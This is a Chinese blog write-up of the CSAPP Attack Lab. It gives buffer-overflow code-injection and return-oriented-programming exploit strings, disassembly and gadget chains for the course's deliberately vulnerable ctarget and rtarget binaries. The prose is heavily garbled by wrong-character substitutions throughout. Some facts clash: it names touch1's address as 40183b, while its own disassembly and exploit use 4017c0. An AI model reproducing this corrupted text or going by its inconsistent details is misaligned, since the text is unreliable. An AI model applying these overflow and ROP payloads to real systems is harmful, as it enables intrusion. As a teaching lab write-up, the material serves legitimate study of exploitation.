这是CSAPP的第四个试验,这个试验比拟有意思,也比拟难。通过这个试验咱们能够更加相熟GDB的应用和机器代码的栈和参数传递机制。
@[toc]
试验目标
本试验要求在两个有着不同安全漏洞的程序上实现五种攻打。通过实现本试验达到:
- 深刻了解当程序没有对缓冲区溢出做足够防备时,攻击者可能会如何利用这些安全漏洞。
- 深刻了解x86-64机器代码的栈和参数传递机制。
- 深刻了解x86-64指令的编码方式。
- 纯熟应用gdb和objdump等调试工具。
-
更好地了解写出平安的程序的重要性,理解到一些编译器和操作系统提供的帮忙改善程序安全性的个性。
做本次试验之前,倡议好好浏览下本篇博文 面试官不讲武德,竟然让我讲讲蠕虫和金丝雀!,了解缓冲区溢出时函数的返回值是如何被批改和精准定位的。
筹备工作
在官网下载失去实验所需文件解压后会失去五个不同的文件。对六个文件简要阐明如下所示。
README.txt:形容文件夹目录
ctarget:一个容易蒙受code injection攻打的可执行程序。
rtarget:一个容易蒙受return-oriented programming攻打的可执行程序。
cookie.txt一个8位的十六进制码,用于验证身份的惟一标识符。
farm.c:指标“gadget farm”的源代码,用于产生return-oriented programming攻打。
hex2raw:一个生成攻打字符串的工具。
HEX2RAW冀望由一个或多个空格分隔的两位十六进制值。所以如果你想创立一个十六进制值为0的字节,须要将其写为00。要创立单词0xdeadbeef应将“ ef be ad de”传递给HEX2RAW(请留神,小字节序须要反转)。
编译环境:Ubuntu 16.04,gcc 5.4.0。
留神:因为咱们应用的是外网编译,所以在运行程序时加上-q参数。
内容简介
CTARGET和RTARGET从规范输出中读取字符串,应用的getbuf函数如下所示。
unsigned getbuf()
{
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}
函数Gets()相似于规范库函数gets(),从规范输出读入一个字符串,将字符串(带null结束符)存储在指定的目标地址。二者都只会简略地拷贝字节序列,无奈确定指标缓冲区是否足够大以存储下读入的字符串,因而可能会超出指标地址处调配的存储空间。字符串不能蕴含字节值0x0a,这是换行符 \n 的ASCII码,Gets()遇到这个字节时会认为意在完结该字符串。
如果用户输出并由getbuf读取的字符串足够短,则很显著getbuf将返回1,如以下执行示例所示:
当输出一个很长的字符串时,将会呈现段谬误,具体如下图所示:
如上图所示,呈现了缓冲区溢出谬误。咱们能够利用缓冲区溢出来批改程序的返回值,使它指向咱们要求的地址来实现攻打。
CTARGET和RTARGET都采纳几个不同的命令行参数:
-h:打印可能的命令行参数列表
-q:本地测评,不要将后果发送到评分服务器
-i FILE:提供来自文件的输出,而不是来自规范输出的输出
代码注入攻打
Level 1
对于第1个例程,将不会注入新代码,而是缓冲区溢出破绽利用字符串将重定向程序来执行现有程序。在CTARGET文件中中调用了函数getbuf。当getbuf执行完return语句后,程序通常会接着向下执行第5行的内容。
void test()
{
int val;
val = getbuf();
printf("NO explit. Getbuf returned 0x%x\n", val);
}
如果咱们想扭转这种行为。在文件ctarget中,咱们要把getbuf函数的返回值指向函数touch1,touch1代码如下所示:
void touch1()
{
vlevel = 1;
printf("Touch!: You called touch1()\n");
validate(1);
exit(0);
}
执行 objdump -d rtarget > rtarget.d 命令,将rtarget反汇编看下getbuf和touch1的反汇编代码。
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp # 开拓40字节的空间
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 ac 03 00 00 callq 401b60 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq # 失常返回,跳转到test函数的第5行继续执行
4017be: 90 nop
4017bf: 90 nop
00000000004017c0 <touch1>:
4017c0: 48 83 ec 08 sub $0x8,%rsp
4017c4: c7 05 0e 3d 20 00 01 movl $0x1,0x203d0e(%rip) # 6054dc <vlevel>
4017cb: 00 00 00
4017ce: bf e5 31 40 00 mov $0x4031e5,%edi
4017d3: e8 e8 f4 ff ff callq 400cc0 <puts@plt>
4017d8: bf 01 00 00 00 mov $0x1,%edi
4017dd: e8 cb 05 00 00 callq 401dad <validate>
4017e2: bf 00 00 00 00 mov $0x0,%edi
4017e7: e8 54 f6 ff ff callq 400e40 <exit@plt>
由上述反汇编代码能够晓得,咱们只有批改getbuf结尾处的ret指令,将其指向touch1函数的起始地址40183b就能够。要想将其精确指向40183b,要首先将getbuf的40字节内容填充斥,使其溢出,再将40183b笼罩getbuf原来的返回地址即可。(这里不明确的能够看下文章面试官不讲武德,竟然让我讲讲蠕虫和金丝雀!)
攻打字符串如下所示,命名为attack1.txt。
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00
执行以下指令进行测试
./hex2raw < attack1.txt > attackraw1.txt
./ctarget -qi attackraw1.txt
Level 2
第2阶段波及注入大量代码作为攻打字符串的一部分。在文件ctarget中,touch2的代码如下所示:
void touch2(unsigned val)
{
vlevel = 2; /* Part of validation protocol */
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
反汇编如下所示:
00000000004017ec <touch2>:
4017ec: 48 83 ec 08 sub $0x8,%rsp
4017f0: 89 fa mov %edi,%edx # val存在%rdi中
4017f2: c7 05 e0 3c 20 00 02 movl $0x2,0x203ce0(%rip) # 6054dc <vlevel>
4017f9: 00 00 00
4017fc: 3b 3d e2 3c 20 00 cmp 0x203ce2(%rip),%edi # 6054e4 <cookie>
401802: 75 20 jne 401824 <touch2+0x38>
401804: be 08 32 40 00 mov $0x403208,%esi
401809: bf 01 00 00 00 mov $0x1,%edi
40180e: b8 00 00 00 00 mov $0x0,%eax
401813: e8 d8 f5 ff ff callq 400df0 <__printf_chk@plt>
401818: bf 02 00 00 00 mov $0x2,%edi
40181d: e8 8b 05 00 00 callq 401dad <validate>
401822: eb 1e jmp 401842 <touch2+0x56>
401824: be 30 32 40 00 mov $0x403230,%esi
401829: bf 01 00 00 00 mov $0x1,%edi
40182e: b8 00 00 00 00 mov $0x0,%eax
401833: e8 b8 f5 ff ff callq 400df0 <__printf_chk@plt>
401838: bf 02 00 00 00 mov $0x2,%edi
40183d: e8 2d 06 00 00 callq 401e6f <fail>
401842: bf 00 00 00 00 mov $0x0,%edi
401847: e8 f4 f5 ff ff callq 400e40 <exit@plt>
Level 2 和 Level 1 差异次要在Level 2 多了一个val参数,咱们在跳转到Level 2 时,还要将其参数传递过来,让他认为是本人的cookie 0x59b997fa。
因而,咱们首先要将0x59b997fa赋值给%rdi,实现参数的传递。如何实现程序的跳转呢?在第一次ret的时候,将ret地址写为咱们写好的攻打代码,在攻打代码中,将touch2的地址0x4017ec 压栈,汇编代码再ret到touch2。咱们能实现这个攻打的前提是这个具备破绽的程序在运行时的栈地址是固定的,不会因运行屡次而扭转,并且这个程序容许执行栈中的代码。汇编代码如下所示:
mov $0x59b997fa,%rdi
pushq $0x4017ec #压栈,ret时会将0x4017ec弹出执行
ret
应用如下指令将汇编代码反汇编
gcc -c attack2.s
objdump -d attack2.o > attack2.d
反汇编代码如下所示:
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 pushq $0x4017ec
c: c3 retq
内存中存储这段代码的中央便是getbuf开拓的缓冲区,咱们利用gdb查看此时缓冲区的起始地址。
留神:缓冲区地址为0x5561dca0(栈底),因为调配了一个0x28的栈,插入的代码在字符串首,即栈顶(低地址),所以地址最终要取0x5561dca0-0x28 = 0x5561dc78。大坑!大坑!大坑!
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
//以上蕴含注入代码填充斥整个缓冲区(40字节)以至溢出。
78 dc 61 55 00 00 00 00
//用缓冲区的起始地址笼罩掉原先的返回地址(留神字节程序)。
最终测试后果正确
Level 3
int hexmatch(unsigned val, char *sval)
{
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
/**/
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
void touch3(char *sval)
{
vlevel = 3;
if (hexmatch(cookie, sval)){
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
与之前的相似,在getbuf函数返回的时候,执行touch3而不是test。touch3函数传入的是cookie的字符串示意。因而,咱们要将%rdi设置为cookie的地址即字符串示意(0x59b997fa -> 35 39 62 39 39 37 66 61)。
00000000004018fa <touch3>:
4018fa: 53 push %rbx
4018fb: 48 89 fb mov %rdi,%rbx
4018fe: c7 05 d4 3b 20 00 03 movl $0x3,0x203bd4(%rip) # 6054dc <vlevel>
401905: 00 00 00
401908: 48 89 fe mov %rdi,%rsi
40190b: 8b 3d d3 3b 20 00 mov 0x203bd3(%rip),%edi # 6054e4 <cookie>
401911: e8 36 ff ff ff callq 40184c <hexmatch>
401916: 85 c0 test %eax,%eax
401918: 74 23 je 40193d <touch3+0x43>
40191a: 48 89 da mov %rbx,%rdx
40191d: be 58 32 40 00 mov $0x403258,%esi
401922: bf 01 00 00 00 mov $0x1,%edi
401927: b8 00 00 00 00 mov $0x0,%eax
40192c: e8 bf f4 ff ff callq 400df0 <__printf_chk@plt>
401931: bf 03 00 00 00 mov $0x3,%edi
401936: e8 72 04 00 00 callq 401dad <validate>
40193b: eb 21 jmp 40195e <touch3+0x64>
40193d: 48 89 da mov %rbx,%rdx
401940: be 80 32 40 00 mov $0x403280,%esi
401945: bf 01 00 00 00 mov $0x1,%edi
40194a: b8 00 00 00 00 mov $0x0,%eax
40194f: e8 9c f4 ff ff callq 400df0 <__printf_chk@plt>
401954: bf 03 00 00 00 mov $0x3,%edi
401959: e8 11 05 00 00 callq 401e6f <fail>
40195e: bf 00 00 00 00 mov $0x0,%edi
401963: e8 d8 f4 ff ff callq 400e40 <exit@plt>
在touch3中调用了hexmatch函数,这个函数中又开拓了110个字节的空间。如果咱们把cookie放在栈中,执行hexmatch函数可能会把cookie的数据笼罩掉。咱们能够间接通过植入指令来批改%rsp
栈指针的值。
fa 18 40 00 00 00 00 00 #touch3的地址
bf 90 dc 61 55 48 83 ec #mov edi, 0x5561dc90
30 c3 00 00 00 00 00 00 #sub rsp, 0x30 ret
35 39 62 39 39 37 66 61 #cookie
00 00 00 00 00 00 00 00
80 dc 61 55 #stack top的地址+8
返回导向编程攻打
对程序RTARGET进行代码注入攻打比对CTARGET进行难度要大得多,因为它应用两种技术来阻止此类攻打:
它应用栈随机化,以使堆栈地位在一次运行与另一次运行中不同。这使得不可能确定注入代码的地位。
它会将保留堆栈的内存局部标记为不可执行,因而,即便能够将程序计数器设置为注入代码的结尾,程序也会因分段谬误而失败。
<img src=”https://gitee.com/dongxingbo/Picture/raw/master//Blog/2020/%E5%8D%81%E4%B8%80%E6%9C%88/attack%E5%AE%9E%E9%AA%8C_c3%E8%BF%94%E5%9B%9E%E5%9C%B0%E5%9D%80.png” alt=”image-20201119101626094″ style=”zoom:67%;” />
侥幸的是,聪慧的人曾经设计出了通过执行程序来在程序中实现有用的事件的策略。应用现有代码,而不是注入新代码。罕用的是ROP策略, ROP的策略是辨认现有程序中的字节序列,由一个或多个指令后跟指令ret组成。这种段称为gadget.。图2阐明了如何设置堆栈以执行n个gadget的序列。在此图中,堆栈蕴含一系列gadget地址。每个gadget都蕴含一系列指令字节,其中最初一个是0xc3,对ret指令进行编码。当程序从该配置开始执行ret指令时,它将启动一系列gadget执行,其中ret指令位于每个gadget的开端,从而导致程序跳至下一个开始。通过一直的跳转,拼凑出本人想要的后果来进行攻打的形式。(简略来说:就是利用现有程序的汇编代码,从不同的函数中挑选出本人想要的代码,通过一直跳转的形式将这些代码拼接起来组成咱们须要的代码。)
上面是试验手册给出的局部指令所对应的字节码,咱们须要在rtarget文件中筛选这些指令去执行之前level2和level3的攻打。
<img src=”https://gitee.com/dongxingbo/Picture/raw/master//Blog/2020/%E5%8D%81%E4%B8%80%E6%9C%88/attack%E5%AE%9E%E9%AA%8C_ROP%E6%8C%87%E4%BB%A4%E9%9B%86.png” alt=”image-20201119101419358″ style=”zoom:67%;” />
<img src=”https://gitee.com/dongxingbo/Picture/raw/master//Blog/2020/%E5%8D%81%E4%B8%80%E6%9C%88/attack%E5%AE%9E%E9%AA%8C_ROP%E6%8C%87%E4%BB%A4%E9%9B%862.png” alt=”image-20201119101449467″ style=”zoom:67%;” />
Level 2
这个试验与之前的Level 2 很类似,所以咱们要做的就是将cookie的值赋值给%rdi,执行touch2。然而本题应用的是ROP攻打模式,不可能间接有movq $ 0x59b997fa
,%rdi这样的代码。Write up提醒能够用movq
, popq
等来实现这个工作。因而咱们能够把 $0x59b997fa放在栈中,再popq %rdi,利用popq咱们能够把数据从栈中转移到寄存器中,而这个恰好是咱们所须要的。代码有了,那咱们就去寻找gadget。
思路确定了,接下来只须要依据Write up提供的encoding table来查找popq
对应encoding是否在程序中呈现了。很容易找到popq %rdi对应的编码5f在这里呈现,并且下一条就是ret:
402b18: 41 5f pop %r15
402b1a: c3 retq
所以答案就是:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
19 2b 40 00 00 00 00 00 #pop %rdi
fa 97 b9 59 00 00 00 00 #cookie
ec 17 40 00 00 00 00 00 #touch2
运行下后果如下所示
Level 3
这个试验是在之前Level3的根底上又减少了一个难度,具体要求是要用ROP跳转到touch3,并且传入一个和cookie一样的字符串。因为栈是随机化的,那么咱们如何在栈地址随机化的状况上来获取咱们放在栈中的字符串的首地址呢?咱们只能通过操作%rsp的值来扭转地位。在之前的Level 3 试验中也提到过,touch3函数会调用hexmatch函数,在hexmatch中会开拓110个字节的空间,如果字符串放在touch3函数返回地址的上方,那么cookie肯定会被笼罩。因而,咱们应该放在更高一点的地位,即便得hexmatch函数新开拓空间也够不到cookie字符串。所以,字符串的地址肯定是%rsp 加上一个数。
可是WriteUp里给的encoding table都是mov pop nop 双编码等指令,并没有加法,然而gadget farm中有一条自带的指令,具体如下所示:
00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax # %rax = %rdi + %rsi
4019da: c3 retq
咱们能够通过这个函数来实现加法,因为lea (%rdi,%rsi,1) %rax就是%rax = %rdi + %rsi。所以,只有可能让%rdi和%rsi其中一个保留%rsp,另一个保留从stack中pop进去的偏移值,就能够示意cookie寄存的地址,而后把这个地址mov到%rdi就功败垂成了。
对应Write up外面的encoding table会发现,从%rax并不能间接mov到%rsi,而只能通过%eax->%edx->%ecx->%esi来实现这个。所以,兵分两路:
1.把%rsp寄存到%rdi中
2.把偏移值(须要确定指令数后能力确定)寄存到%rsi中
而后,再用lea那条指令把这两个后果的和寄存到%rax中,再movq到%rdi中就实现了。
值得注意的是,下面两路实现工作的寄存器不能调换,因为从%eax到%esi这条路线下面的mov都是4个byte的操作,如果对%rsp的值采纳这条路线,%rsp的值会被截断掉,最初的后果就错了。然而偏移值不会,因为4个bytes足够示意了。
最初后果:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ad 1a 40 00 00 00 00 00 #movq %rsp, %rax
a2 19 40 00 00 00 00 00 #movq %rax, %rdi
ab 19 40 00 00 00 00 00 #popq %rax
48 00 00 00 00 00 00 00 #偏移值
dd 19 40 00 00 00 00 00 #mov %eax, %edx
34 1a 40 00 00 00 00 00 #mov %edx, %ecx
13 1a 40 00 00 00 00 00 #mov %ecx, %esi
d6 19 40 00 00 00 00 00 #lea (%rsi, %rdi, 1) %rax
a2 19 40 00 00 00 00 00 #movq %rax, %rdi
fa 18 40 00 00 00 00 00 #touch3
35 39 62 39 39 37 66 61 #cookie
参考https://zhuanlan.zhihu.com/p/…
测试后果如下:
总结
这几个试验挺有意思的,体验了一把黑客的感觉。最初一个试验还是有难度的,本人也参考网上其他人的解法。通过本次试验也增强了本人对函数调用栈,字节序,GDB,汇编的了解。X86有些指令用多了也就记住了,不须要刻意去记,游刃有余!
养成习惯,先赞后看!如果感觉写的不错,欢送关注,点赞,转发,谢谢!
如遇到排版错乱的问题,能够通过以下链接拜访我的CSDN。
**CSDN:[CSDN搜寻“嵌入式与Linux那些事”]
发表回复